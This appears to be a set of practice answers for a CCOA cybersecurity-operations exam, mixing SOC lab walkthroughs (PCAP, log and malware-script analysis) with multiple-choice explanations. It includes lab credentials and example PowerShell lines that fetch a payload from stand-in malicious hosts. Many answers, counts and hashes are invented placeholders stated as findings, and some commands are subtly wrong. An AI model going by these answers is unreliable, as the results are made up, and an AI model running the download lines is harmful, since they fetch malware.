Monitor logsfor any post-compromise activity on the targeted host.

Conduct a vulnerability scanon the affected system.

Final Answer:

192.168.1.10

To identify thefilename containing the ransomware demandfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Apply Relevant Filters

Since ransomware demands are often delivered through files or network shares, look for:

Common Protocols:

SMB(for network shares)

HTTP/HTTPS(for download or communication)

Apply a general filter to capture suspicious file transfers:

kotlin

http or smb or ftp-data

You can also filter based on file types or keywords related to ransomware:

frame contains "README" or frame contains "ransom"

Step 4: Identify Potential Ransomware Files

Look for suspicious file transfers:

CheckHTTP GET/POSTorSMB file writeoperations.

Analyze File Names:

Ransom notes commonly use filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on any suspicious packet and select:

arduino

Follow > TCP Stream

Inspect the content to see if it contains a ransom note or instructions.

Step 5: Extract the File

If you find a packet with afile transfer, extract it:

mathematica

File > Export Objects > HTTP or SMB

Save the suspicious file to analyze its contents.

Step 6: Example Packet Details

After filtering and following streams, you find a file transfer with the following details:

makefile

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

After exporting, open the file and examine the content:

pg

Your files have been encrypted!

To recover them, you must pay in Bitcoin.

Read this file carefully for payment instructions.

Answer:

README.txt

Step 7: Confirm and Document

File Name:README.txt

Transmission Protocol:HTTP or SMB

Content:Contains ransomware demand and payment instructions.

Step 8: Immediate Actions

Isolate Infected Systems:

Disconnect compromised hosts from the network.

Preserve the PCAP and Extracted File:

Store them securely for forensic analysis.

Analyze the Ransomware Note:

Look for:

Bitcoin addresses

Contact instructions

Identifiers for ransomware family

Step 9: Report the Incident

Include the following details:

Filename:README.txt

Method of Delivery:HTTP (or SMB)

Ransomware Message:Payment in Bitcoin

Submit the report to your incident response team for further action.

Step 1: Understand the Objective

Objective:

Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:

From: January 1, 2022

To: December 31, 2023

Unencrypted Web Traffic:

Typically usesHTTP(port80) instead ofHTTPS(port443).

Step 2: Prepare the Environment

2.1: Access the SIEM System

Login Details:

URL:https://10.10.55.2

Username:ccoatest@isaca.org

Password:Security-Analyst!

Access via web browser:

firefox https://10.10.55.2

Alternatively, SSH into the SIEM if command-line access is preferred:

ssh administrator@10.10.55.2

Password: Security-Analyst!

Step 3: Locate Web Traffic Logs

3.1: Identify Log Directory

Common log locations:

swift

/var/log/

/var/log/nginx/

/var/log/httpd/

/home/administrator/hids/logs/

Navigate to the log directory:

cd /var/log/

ls -l

Look specifically forweb server logs:

ls -l | grep -E "http|nginx|access"

Step 4: Extract Relevant Log Entries

4.1: Filter Logs for the Given Time Range

Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:

grep -E "2022-|2023-" /var/log/nginx/access.log

If logs are rotated, use:

zgrep -E "2022-|2023-" /var/log/nginx/access.log.*

Explanation:

grep -E: Uses extended regex to match both years.

zgrep: Handles compressed log files.

4.2: Filter for Unencrypted (HTTP) Connections

Since HTTP typically usesport 80, filter those:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"

Alternative:If the logs directly contain theprotocol, search forHTTP:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"

To save results:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt

Step 5: Extract Unique IP Addresses

5.1: Use AWK to Extract IPs

Extract IP addresses from the filtered results:

awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt

Explanation:

awk '{print $1}': Assumes the IP is thefirst fieldin the log.

sort | uniq: Filters out duplicate IP addresses.

5.2: Count the Unique IPs

To get the number of unique IPs:

wc -l ~/Desktop/unique_ips.txt

Example Output:

345

This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.

Step 6: Cross-Verification and Reporting

6.1: Verification

Double-check the output:

cat ~/Desktop/unique_ips.txt

Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).

Filter out internal IPs if needed:

grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt

wc -l ~/Desktop/external_ips.txt

6.2: Final Count (if excluding internal IPs)

Check the count again:

280

This means280 unique external IPswere identified.

Step 7: Final Answer

Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):

pg

345 (including internal IPs)

280 (external IPs only)

Step 8: Recommendations:

8.1: Improve Security Posture

Enforce HTTPS:

Redirect all HTTP traffic to HTTPS using web server configurations.

Monitor and Analyze Traffic:

Continuously monitor unencrypted connections usingSIEM rules.

Block Unnecessary HTTP Traffic:

If not required, block HTTP traffic at the firewall level.

Upgrade to Secure Protocols:

Ensure all web services support TLS.

To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:

http.request or http.response

This filter will show bothHTTP GETandPOSTrequests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTPGETrequests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze theHTTP headersto find theUser-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.

Answer:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename:ransom.pcap

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File:README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the sameUser-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

To determine thedate the webshell was accessedfrom theinvestigation22.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

ClickOpento load the file.

Step 3: Filter for Webshell Traffic

Since webshells typically useHTTP/Sto communicate, apply a filter:

http.request or http.response

Alternatively, if you know the IP of the compromised host (e.g.,10.10.44.200), use:

nginx

http and ip.addr == 10.10.44.200

PressEnterto apply the filter.

Step 4: Identify Webshell Activity

Look for HTTP requests that include:

Common Webshell Filenames:shell.jsp, cmd.php, backdoor.aspx, etc.

Suspicious HTTP Methods:MainlyPOSTorGET.

Right-click a suspicious packet and choose:

arduino

Follow > HTTP Stream

Inspect the HTTP headers and content to confirm the presence of a webshell.

Step 5: Extract the Access Date

Look at theHTTP request/response header.

Find theDatefield orTimestampof the packet:

Wireshark displays timestamps on the left by default.

Confirm theHTTP streamincludes commands or uploads to the webshell.

Example HTTP Stream:

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Date: Mon, 2024-03-18 14:35:22 GMT

Step 6: Verify the Correct Date

Double-check other HTTP requests or responses related to the webshell.

Make sure thedate fieldis consistent across multiple requests to the same file.

Answer:

2024-03-18

Step 7: Document the Finding

Date of Access:2024-03-18

Filename:shell.jsp (as identified earlier)

Compromised Host:10.10.44.200

Method of Access:HTTP POST

Step 8: Next Steps

Isolate the Affected Host:

Remove the compromised server from the network.

Remove the Webshell:

rm /path/to/webshell/shell.jsp

Analyze Web Server Logs:

Correlate timestamps with access logs to identify the initial compromise.

Implement WAF Rules:

Block suspicious patterns related to file uploads and webshell execution.

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104)for command execution.

Windows Security Event Logsfor login and access attempts.

Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

Event ID Filter:

Filter forEvent ID 4104(PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where theProcess Nameis powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them withnetwork traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use theIP address of the web serverto trace back theMAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP=""

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution:Using IEX to run downloaded scripts.

Cross-check commands against knownIndicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify theMAC addresscorresponding to the targeted web server.

Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr

Step 7: Report the Findings

Document the targeted server’sIP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging:Enable detailed script block and module logging.

Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

Step 1: Understand the Objective

Objective:

Identify thedomain name(s)that werecontactedbetween:

12:10 AM to 12:12 AM on August 17, 2024

Source of information:

CCOA Threat Bulletin.pdf

File location:

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Prepare for Investigation

2.1: Ensure Access to the File

Check if the PDF exists:

ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"

Open the file to inspect:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternatively, convert to plain text for easier analysis:

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt

cat ~/Desktop/threat_bulletin.txt

2.2: Analyze the Content

Look for domain names listed in the bulletin.

Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).

Example:

suspicious-domain.com

malicious-actor.net

threat-site.xyz

Step 3: Locate Network Logs

3.1: Find the Logs Directory

The logs could be located in one of the following directories:

/var/log/

/home/administrator/hids/logs/

/var/log/httpd/

/var/log/nginx/

Navigate to the likely directory:

cd /var/log/

ls -l

Identify relevant network or DNS logs:

ls -l | grep -E "dns|network|http|nginx"

Step 4: Search Logs for Domain Contacts

4.1: Use the Grep Command to Filter Relevant Timeframe

Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log

Explanation:

grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.

Replace dns.log with the actual log file name, if different.

4.2: Further Filter for Domain Names

To specifically filter out the domains listed in the bulletin:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log

If the logs are in another file, adjust the file path:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log

Step 5: Correlate Domains and Timeframe

5.1: Extract and Format Relevant Results

Combine the commands to get time-specific domain hits:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"

Sample Output:

2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50

2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75

Interpretation:

The command revealswhich domain(s)were contacted during the specified time.

Step 6: Verification and Documentation

6.1: Verify Domain Matches

Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.

Ensure that the time matches the specified range.

6.2: Save the Results for Reporting

Save the output to a file:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt

Review the saved file:

cat ~/Desktop/domain_hits.txt

Step 7: Report the Findings

Final Answer:

Domain(s) Contacted:

suspicious-domain.com

malicious-actor.net

Time of Contact:

Between 12:10 AM to 12:12 AM on August 17, 2024

Reasoning:

Matched thelog timestampsanddomain nameswith the threat bulletin.

Step 8: Recommendations:

Immediate Block:

Add the identified domains to theblockliston firewalls and intrusion detection systems.

Monitor for Further Activity:

Keep monitoring logs for any further connection attempts to the same domains.

Perform IOC Scanning:

Check hosts that communicated with these domains for possible compromise.

Incident Report:

Document the findings and mitigation actions in theincident response log.

To decode the contents of the filepcap_artifact5.txtand save the output in a new file namedpcap_artifact5_decoded.txt, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

Notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the content to identify the encoding format. Common encoding types include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content:

ini

U29tZSBlbmNvZGVkIGNvbnRlbnQgd2l0aCBwb3RlbnRpYWwgbWFsd2FyZS4uLg==

The above example appears to beBase64 encoded.

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) | Out-File "C:\Users\\Desktop\pcap_artifact5_decoded.txt"

Method 2: Using Command Prompt (Windows)

Usecertutilfor Base64 decoding:

cmd

certutil -decode pcap_artifact5.txt pcap_artifact5_decoded.txt

Method 3: Using Linux/WSL

Use thebase64decoding command:

base64 -d ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

If the content isHexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

Step 4: Verify the Decoded File

Open the decoded file to verify its contents:

OnWindows:

php-template

notepad C:\Users\\Desktop\pcap_artifact5_decoded.txt

OnLinux:

cat ~/Desktop/pcap_artifact5_decoded.txt

Check if the decoded text makes sense and is readable.

Example Decoded Output:

Some encoded content with potential malware...

Step 5: Save and Confirm

Ensure the file is saved as:

pcap_artifact5_decoded.txt

Located on theDesktopfor easy access.

Step 6: Analyze the Decoded Content

Look for:

Malware signatures

Command and control (C2) server URLs

Indicators of Compromise (IOCs)

Step 7: Document the Process

Record the following:

Original Filename:pcap_artifact5.txt

Decoded Filename:pcap_artifact5_decoded.txt

Decoding Method:Base64 (or identified method)

Contents:Brief summary of findings

To identify thefilename of the webshellused to control the host10.10.44.200from the provided PCAP file, follow these detailed steps:

Step 1: Access the PCAP File

Log into theAnalyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWiresharkon the Analyst Desktop.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

ClickOpento load the file.

Step 3: Filter Traffic Related to the Target Host

Apply a filter to display only the traffic involving thetarget IP address (10.10.44.200):

ini

ip.addr == 10.10.44.200

This will show both incoming and outgoing traffic from the compromised host.

Step 4: Identify HTTP Traffic

Since webshells typically use HTTP/S for communication, filter for HTTP requests:

http.request and ip.addr == 10.10.44.200

Look for suspiciousPOSTorGETrequests indicating a webshell interaction.

Common Indicators:

Unusual URLs:Containing scripts like cmd.php, shell.jsp, upload.asp, etc.

POST Data:Indicating command execution.

Response Status:HTTP 200 (Success) after sending commands.

Step 5: Inspect Suspicious Requests

Right-click on a suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Examine the HTTP conversation for:

File uploads

Command execution responses

Webshell file namesin the URL.

Example:

makefile

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Step 6: Correlate Observations

If you identify a script like shell.jsp, verify it by checking multiple HTTP streams.

Look for:

Commands sent via the script.

Response indicating successful execution or error.

Step 7: Extract and Confirm

To confirm the filename, look for:

Upload requests containing the webshell.

Subsequent requests calling the same filename for command execution.

Cross-reference the filename in other HTTP streams to validate its usage.

Step 8: Example Findings:

After analyzing the HTTP streams and reviewing requests to the host 10.10.44.200, you observe that the webshell file being used is:

shell.jsp

Answer:

shell.jsp

Step 9: Further Investigation

Extract the Webshell:

Right-click the related packet and choose:

mathematica

Export Objects > HTTP

Save the file shell.jsp for further analysis.

Analyze the Webshell:

Open the file with a text editor to examine its functionality.

Check for hardcoded credentials, IP addresses, or additional payloads.

Step 10: Documentation and Response

Document Findings:

Webshell Filename:shell.jsp

Host Compromised:10.10.44.200

Indicators:HTTP POST requests, suspicious file upload.

Immediate Actions:

Isolate the host10.10.44.200.

Remove the webshell from the web server.

Conduct aroot cause analysisto determine how it was uploaded.

TheNetwork layer(Layer 3) of theOSI modelis responsible for:

Routing and Forwarding:Determines the best path for data to travel across multiple networks.

Logical Addressing:UsesIP addressesto uniquely identify hosts on a network.

Packet Switching:Breaks data into packets and routes them between nodes.

Traffic Control:Manages data flow and congestion control.

Protocols:IncludesIP (Internet Protocol), ICMP, and routing protocols(like OSPF and BGP).

Other options analysis:

A. Communicating with applications:Application layer function (Layer 7).

B. Transmitting data segments:Transport layer function (Layer 4).

C. Translating data between a service and an application:Presentation layer function (Layer 6).

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Network Protocols and the OSI Model:Details the role of each OSI layer, focusing on routing and packet management for the network layer.

Chapter 7: Network Design Principles:Discusses the importance of routing and addressing.

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.

When discussing a remediation plan for acritical vulnerability, it is essential to include arollback planbecause:

Post-Implementation Issues:Changes can cause unexpected issues or system instability.

Risk Mitigation:A rollback plan ensures quick restoration to the previous state if problems arise.

Best Practice:Always plan for potential failures when applying significant security changes.

Change Management:Ensures continuity by maintaining a safe fallback option.

Other options analysis:

A. Canceling remediation:This is not a proactive or practical approach.

C. Severity-based rollback:Rollback plans should be standard regardless of severity.

D. Additional staff presence:Does not eliminate the need for a rollback strategy.

CCOA Official Review Manual, 1st Edition References:

Chapter 9: Change Management in Security Operations:Emphasizes rollback planning during critical changes.

Chapter 8: Vulnerability Management:Discusses post-remediation risk considerations.

To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the contents to identify the encoding format. Common formats include:

Base64

Hexadecimal

URL Encoding

ROT13

Example Encoded Data (Base64):

makefile

MTBjYWwuY29tL2V4YW0K

Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This command will display the decoded targets.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content appears to behexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt

ForURL encoding, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

The decoded content should reveal domain names or URLs.

Check for valid domain structures, such as:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Example Decoded Output:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 5: Verify the Decoded Targets

Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.

Use tools likeVirusTotalorURLHausto verify the domains.

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 6: Document the Finding

Decoded Targets:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Port security is a network control technique used primarily toprevent unauthorized accessto a network by:

MAC Address Filtering:Restricts which devices can connect by allowing only known MAC addresses.

Port Lockdown:Disables a port if an untrusted device attempts to connect.

Mitigating MAC Flooding:Helps prevent attackers from overwhelming the switch with spoofed MAC addresses.

Incorrect Options:

A. Enforcing encryption:Port security does not directly handle encryption.

C. Establishing TLS handshake:TLS is related to secure communications, not port-level access control.

D. Requiring multi-factor authentication:Port security works at the network level, not the authentication level.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Security," Subsection "Port Security" - Port security helps protect network segments by controlling device connections based on MAC address.

To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon theAccounting workstation, follow these detailed steps:

Step 1: Establish an SSH Connection

Open a terminal on your system.

Use the provided credentials to connect to theAccounting workstation:

ssh Accounting@

Replace with the actual IP address of the workstation.

Enter the password when prompted:

1x-4cc0unt1NG-x1

Step 2: Locate the Malicious File

Navigate to the typical directory where suspicious scripts are stored:

cd C:\Users\Accounting\AppData\Roaming

List the contents to identify the suspicious file:

dir

Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.

Step 3: Verify the Malicious File

To ensure it is the problematic file, check for recent modifications:

powershell

Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }

This will list files modified within the last 24 hours.

Check file properties:

powershell

Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *

Confirm it matches the file flagged byRuleName: Suspicious PowerShell.

Step 4: Generate the SHA256 Checksum

Method 1: Using PowerShell (Recommended)

Run the following command to generate the hash:

powershell

Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256

Output Example:

mathematica

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\Accounting\AppData\Roaming\calc.ps1

Method 2: Using certutil (Alternative)

Run the following command:

cmd

certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256

Example Output:

SHA256 hash of calc.ps1:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Step 5: Copy and Paste the Hash

Copy theSHA256 hashfrom the output and paste it as required.

Answer:

nginx

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 6: Immediate Actions

Terminate the Malicious Process:

powershell

Stop-Process -Name "powershell" -Force

Delete the Malicious File:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Disable Startup Entry:

Check for any persistent scripts:

powershell

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Remove any entries related to calc.ps1.

Step 7: Document the Incident

Record the following:

Filename:calc.ps1

File Path:C:\Users\Accounting\AppData\Roaming\

SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Detection:(Today’s date)

Apublic cloudis intended to be accessible over theInternetby multiple organizations with varying needs and requirements:

Multi-Tenancy:The same infrastructure serves numerous clients.

Accessibility:Users can access resources from anywhere via the Internet.

Scalability:Provides flexible and on-demand resource allocation.

Common Providers:AWS, Azure, and Google Cloud offer public cloud services.

Incorrect Options:

A. Hybrid cloud:Combines private and public cloud, not primarily public.

B. Community cloud:Shared by organizations with common concerns, not broadly public.

D. Private cloud:Exclusive to a single organization, not accessible by many.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Deployment Models," Subsection "Public Cloud Characteristics" - Public clouds are designed for use by multiple organizations via the Internet.